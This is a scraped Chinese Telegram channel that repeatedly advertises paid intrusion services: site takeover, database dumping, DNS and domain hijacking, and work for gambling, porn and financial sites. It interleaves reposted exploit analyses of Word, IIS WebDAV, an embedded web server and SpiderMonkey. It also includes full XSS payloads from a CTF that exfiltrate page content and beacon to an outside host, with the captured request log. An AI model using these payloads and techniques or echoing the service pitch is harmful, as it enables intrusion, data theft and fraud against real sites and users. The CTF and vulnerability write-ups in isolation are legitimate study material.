黑客渗透 金融劫持 BC域名跳转
18.9K subscribers
1.89K photos
19 videos
2 files
167 links
金融股民渗透国内app,海外网站app,入侵后台,脱裤数据库, dns劫持 服务器进入等等
破解网站app软件技术等等 黑客技术咨询
@hacker_HouZiM
Download Telegram
在wwlib的反汇编中搜索所有对75f8的引用代码,也就是对该数组的引用。结果有些意外,只有一处有效的。关键代码如图:
可以看出这个代码是复制该数组数据的逻辑,从拷贝大小参数来看该数组实际分配的大小为0x20字节。而在为该数组附加字节的逻辑中限制写成了0x40字节,发生数组越界写入,进而导致数组之后的类成员变量被改写。
重新加载样本,仔细观察该数组的数据赋值过程:
之后将覆盖我们关心的偏移为0x761c处的值0x01575960,而该值为mso模块创建的一个对象指针,覆盖完成后该值被替换成了0x09c00c0c。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
HrGetLockIdForPath 与 HrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是,v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。
在解析 URL 第一部分(http://localhost/aaaaaaa....)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如图所示。
在解析 URL 第二部分(http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。
在执行 ROP 代码片段时,会跳转到 KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。


渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
首先是xss1.html,也就是上面的前三步
然后是xss2.html,上面提到的第四步
最后是完成攻击的payload
<iframe src='http://119.29.192.14/bctf2017/xss/xss2.html'>
</iframe>
<script>
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'http://diary.bctf.xctf.org.cn/survey/');
profileIframe.setAttribute('id', 'survey');
document.body.appendChild(profileIframe);

profileIframe.onload = function() {
document.getElementById('survey').contentWindow.document.forms[0].suggestion.value='give me flag';
document.getElementById('survey').contentWindow.document.forms[0].submit();


setTimeout('location.href=\'//xxx?flag=\'+document.getElementById(\'survey\').contentWindow.document.body.innerHTML;', 3000);
}
}, 5000);
</script>

提交后等待一会儿,成功收到了返回

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
让我们来跟进./web/LINUX/main.c了解该漏洞的成因:
initWebs()函数中,关键代码如图:
其中,150-160um开头的函数为用户权限控制的相关函数。主要做了以下四件事情:
1. umOpen() 打开用户权限控制
2. umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录
3. umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组
4. umAddAccessLimit() 增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。
紧接着,在220多行通过websUrlHandlerDefine()函数运行了两个HandlerwebsSecurityHandlerwebsDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如图:
umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini,根据上文,我们的设置是对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。
紧接着向下,nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
我们已经收集齐了所有必要的组件,可以开始编写漏洞利用程序了。创建了一个伪造的空单元格并在其中分配了一个 ArrayBuffer 对象后,我们会发现之前分配的 ArrayBuffer 对象之一现在包含了数据。SpiderMonkey 中的 ArrayBuffer 对象大致如图所示:
这些XXX_SLOT常量决定了对应值相对于对象起始位置的偏移量。因此,数据指针(DATA_SLOT)将存储在addrof(ArrayBuffer) + sizeof(ArrayBuffer)
现在我们可以构建以下漏洞利用原语:
从绝对内存地址读取数据:我们将地址设置DATA_SLOT为所需地址,然后从内部的 ArrayBuffer 读取数据。
写入绝对内存地址:与上述相同,但这次我们写入内部的 ArrayBuffer。
泄露 JavaScript 对象地址:为此,我们将想要获取地址的对象设置为内部 ArrayBuffer 的属性,然后slots_通过我们现有的读取原语从指针读取地址。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
由于contact和minmax的功能相似,猜测后台的输出方式相似,所以仔细观察min.php,最奇怪的其实是输出点,输出点后没有引号包裹,也就意味着即便使用了htmlspecialchars过滤了”和<,但是我们仍然可以dom xss
<a id="modal" class="detail" href="#detail" data-toggle="modal"
contributor=aaangelwhu hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a>

但是一切的问题都在CSP,内联的脚本是不会被执行的,但这里有好多*啊
img-src *
style-src unsafe-inline
connect-src *
font-src *
media-src *
object-src *

style可以设置啊,然后style里有个font-src可以随便设置
关于字体的绕过方式,我仍然不知道是不是有效的,但我稍微尝试了下发现语法不同,也许是不熟悉吧,但我肯定是智障了,css可以设置背景图片啊,img-src是*啊,所以payload
aaang style=background-image:url('http://119.29.192.14')

收到了请求
115.159.200.107 - - [19/Feb/2017:03:21:31 +0800] "GET / HTTP/1.1" 304 0 "http://52.80.1.108:6666/d9aba78484e6d3325f88f0e8826191e9/admin.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"


渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在逆向分析中,进程往往作为基本的调试单元,因此对其的理解是有必要的。这里我们先打开IE浏览器,可以知道对每个选项卡IE都会创建一个子进程来处理,接着我们打开WinDbg并附加到当前的IE页面进程,“|”和“~”命令可用于查看进程和线程的状态,注意前面有个小点的是此时所处的进程和线程,可以看到一个进程中包含有多个线程:
当然,如果需要WinDbg也是可以同时调试多个进程的,更详细的内容我们可以通过“!peb”和“!teb”命令来查看,其中PEB(Process Environment Block)存放着进程信息,而TEB(Thread Environment Block)则存放着线程信息。同时,通过“!address”命令可列出进程的地址空间信息,如下是用户模式下从地址0x00000000开始到0x80000000的信息,只给出部分:
可以看到用户进程空间中一般包含主模块、共享模块、堆栈资源等,相应的虚拟内存页也都有着各自的属性状态。
那么对于这样的进程是如何从无到有创建起来的呢?这就不得不提PE格式了,比如上面的exe、dll模块都是属于这种类型的文件,简单来看PE文件包含了DOS头、PE头、节表以及节数据,二进制数据将按装入内存后的页属性归类到不同的节中,而各个节中的数据按用途又可以被分为导出表、导入表、重定位表等数据块,通过“!dh [标志] 模块地址”命令可以显示非常详细的PE头信息。当我们运行iexplore.exe的时候,操作系统将分配所需资源并按照此PE文件中的信息完成加载,即进程的创建。一般来说,PE文件的加载过程是由操作系统提供的PE Loader功能实现的,但我们也可以自己手动实现此过程,比如ReflectiveLoader这个技术,它就能在当前进程中完成一个独立dll的加载,一些勒索病毒就是用的这个技巧来躲避杀软。我们可以由此技术大体了解下PE Loader的功能,首先是查找kernel32等模块中的特定函数,即获取模块基址和处理PE格式,而后申请空间写入节数据、处理输入表和重定位表等,最后跳转到执行入口,即模拟原先操作系统的加载。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1